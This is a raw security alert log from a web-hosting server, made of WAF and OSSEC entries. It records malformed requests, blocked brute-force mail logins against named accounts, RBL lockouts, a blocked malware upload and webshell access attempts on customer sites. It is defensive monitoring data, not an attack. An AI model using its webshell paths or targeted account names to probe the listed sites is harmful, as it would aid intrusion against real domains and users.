# incident

plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.233.16.136
country_id: 1562822
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_a_01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.236.239.80
country_id: 3686110
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=124214 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.57.207.42
country_id: 3686110
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=3&sub=40 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 01:22:23 H=([45.144.212.242]) [45.144.212.242]:58927 F=<no_reply@admin.com> rejected RCPT <waynegoh@empirelog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.81.233.85
country_id: 3865483
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=784798 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.47.227
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=899701 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.178.187.17
country_id: 1210997
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=593205 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.58.122.166
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=182180 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.226.170.76
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=8&sub=9 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.181.208.72
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=457703 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.118.127
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=954943 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.198
country_id: 130758
description:
2026-01-22 01:23:43 dovecot_login authenticator failed for H=(localhost) [62.60.130.198]:60847: 535 Incorrect authentication data (set_id=aurelie)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.162.191.118
country_id: 718075
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=470762 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.126.61
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=24 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 01:25:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.164.133.201
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=740138 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.118
country_id: 1269750
description:
2026-01-22 01:28:36 dovecot_plain authenticator failed for H=(sionle) [27.123.111.118]:35034: 535 Incorrect authentication data (set_id=sales@cabe.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.111.118
country_id: 1269750
description:
Jan 22 01:28:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.111.118 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.202.118.38
country_id: 6252001
description:
Jan 22 01:30:29 sv3 pure-ftpd[3575001]: (?@172.202.118.38) [INFO] New connection from 172.202.118.38


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 01:31:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.85.4
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=104350 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 22 01:32:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.6
country_id: 3175395
description:
Jan 22 01:31:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.6 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.5.237
country_id: 1562822
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_b_03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.59.1.238
country_id: 3865483
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_b_02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.238.26.20
country_id: 99237
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_b_01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.192
country_id: 6252001
description:
2026-01-22  1:35:47 500798 [Warning] Aborted connection 500798 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.192' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 147.53.115.32
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-35.147.53.115.32||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.59.10.224
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-36.31.59.10.224||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 144.124.245.34
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-37.144.124.245.34||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.235.193.161
country_id: 3686110
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=57031514876853 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 01:41:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.208
country_id: 3469034
description:
Jan 22 01:42:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.208 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 207.182.29.8
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-43.207.182.29.8||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.117
country_id: 3469034
description:
Jan 22 01:43:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.72.242
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-44.89.110.72.242||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.248.56
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=749224 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.146
country_id: 798544
description:
Jan 22 01:46:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 01:48:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 166.0.246.185
country_id: 1562822
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/9784566891.jpg&size=262*388 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.251.154.240
country_id: 3144096
description:
2026-01-22 01:49:43 dovecot_login authenticator failed for H=(ADMIN) [20.251.154.240]:35772: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.181.16.202
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/until/401/293263 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 01:54:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:04:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.235.74.5
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/wake/7/99/741371 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.117.207
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/speak/533/343279 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 20.169.104.253
country_id: 6252001
description:
Jan 22 02:09:06 sv3 pure-ftpd[3599469]: (?@20.169.104.253) [INFO] New connection from 20.169.104.253


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.115.84.80
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/tests/Mockery/MockingVoidMethodsTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 02:10:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 22 02:10:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 22 02:12:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-22 02:12:39 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (aggic) [87.103.126.54]:64826: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 02:13:56 H=([45.144.212.242]) [45.144.212.242]:50327 F=<lynnied@mhtc.net> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-22 02:14:51 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:17079: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.42
country_id: 3175395
description:
Jan 22 02:14:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 22 02:14:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 22 02:15:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-22 02:15:11 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:44959: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 137.27.32.70
country_id: 6252001
description:
Jan 22 02:16:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 137.27.32.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.27.32.70
country_id: 6252001
description:
2026-01-22 02:16:48 dovecot_plain authenticator failed for H=syn-137-027-032-070.biz.spectrum.com (quinin) [137.27.32.70]:45542: 535 Incorrect authentication data (set_id=info@pftfood.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 02:16:33 H=([45.144.212.242]) [45.144.212.242]:54871 F=<no_reply@admin.com> rejected RCPT <info@aire-fresh.com>: Sender verify failed


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jan 22 02:17:55 sv3.nocser.net cpanel_fileman_hook[3605401]: 0 BAILOUT malware detected when upload 'gs.php' in /home/oxboldc/public_html for user oxboldc


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:17:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.156.93.206
country_id: 1835841
description:
Jan 22 02:17:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.156.93.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-01-22 02:17:19 dovecot_login authenticator failed for H=([218.156.93.206]) [218.156.93.206]:41738: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 192.34.62.15
country_id: 6252001
description:
2026-01-22  2:18:55 502725 [Warning] Aborted connection 502725 to db: 'unconnected' user: 'unauthenticated' host: '192.34.62.15' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.243.164.145
country_id: 6252001
description:
2026-01-22  2:18:54 502719 [Warning] Aborted connection 502719 to db: 'unconnected' user: 'unauthenticated' host: '162.243.164.145' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.233.26.131
country_id: 3932488
description:
2026-01-22 02:18:10 H=([181.233.26.131]) [181.233.26.131]:44005 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.169.231
country_id: 3469034
description:
Jan 22 02:18:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.169.231 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 159.89.84.190
country_id: 6252001
description:
2026-01-22  2:18:55 502724 [Warning] Aborted connection 502724 to db: 'unconnected' user: 'unauthenticated' host: '159.89.84.190' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.169.231
country_id: 3469034
description:
Jan 22 02:19:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.169.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.41
country_id: 3175395
description:
Jan 22 02:19:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.233.26.131
country_id: 3932488
description:
2026-01-22 02:19:12 H=([181.233.26.131]) [181.233.26.131]:44348 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.146
country_id: 798544
description:
Jan 22 02:19:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.233.26.131
country_id: 3932488
description:
2026-01-22 02:20:35 H=([181.233.26.131]) [181.233.26.131]:44569 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.83.111.122
country_id: 2245662
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psr/simple-cache/LICENSE.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:27:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.97.234.36
country_id: 3625428
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/Tests/RequestStackTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/osl.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.202.103.179
country_id: 1269750
domain: urban.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:40393.urban.my||ServerName:urban.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d7df5811958976c1796e27a4b4a67e6e7ff7e03||Title:0x88943e76||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.244.159.25
country_id: 2464461
description:
2026-01-22 02:30:13 H=([197.244.159.25]) [197.244.159.25]:37368 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.244.159.25
country_id: 2464461
description:
2026-01-22 02:30:57 H=([197.244.159.25]) [197.244.159.25]:37734 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.250.102.115
country_id: 3469034
description:
Jan 22 02:31:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.250.102.115 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 206.168.34.209
country_id: 6252001
description:
Jan 22 02:31:10 sv3 pure-ftpd[3613841]: (?@206.168.34.209) [INFO] New connection from 206.168.34.209


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.244.159.25
country_id: 2464461
description:
2026-01-22 02:32:19 H=([197.244.159.25]) [197.244.159.25]:63921 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 02:32:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 22 02:34:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.176.4
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=49441516689261 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.94.75.139
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-37.23.94.75.139||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.113.77
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=63&page=4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:40:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.124.30.196
country_id: 2245662
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/mockery/mockery/docs/reference/expectations.rst HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.121
country_id: 798544
description:
Jan 22 02:44:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.234
country_id: 2510769
description:
Jan 22 02:45:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.237.180
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=62&page=5 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.95.239.115
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-47.23.95.239.115||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:50:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.224.224
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=44 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 02:54:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
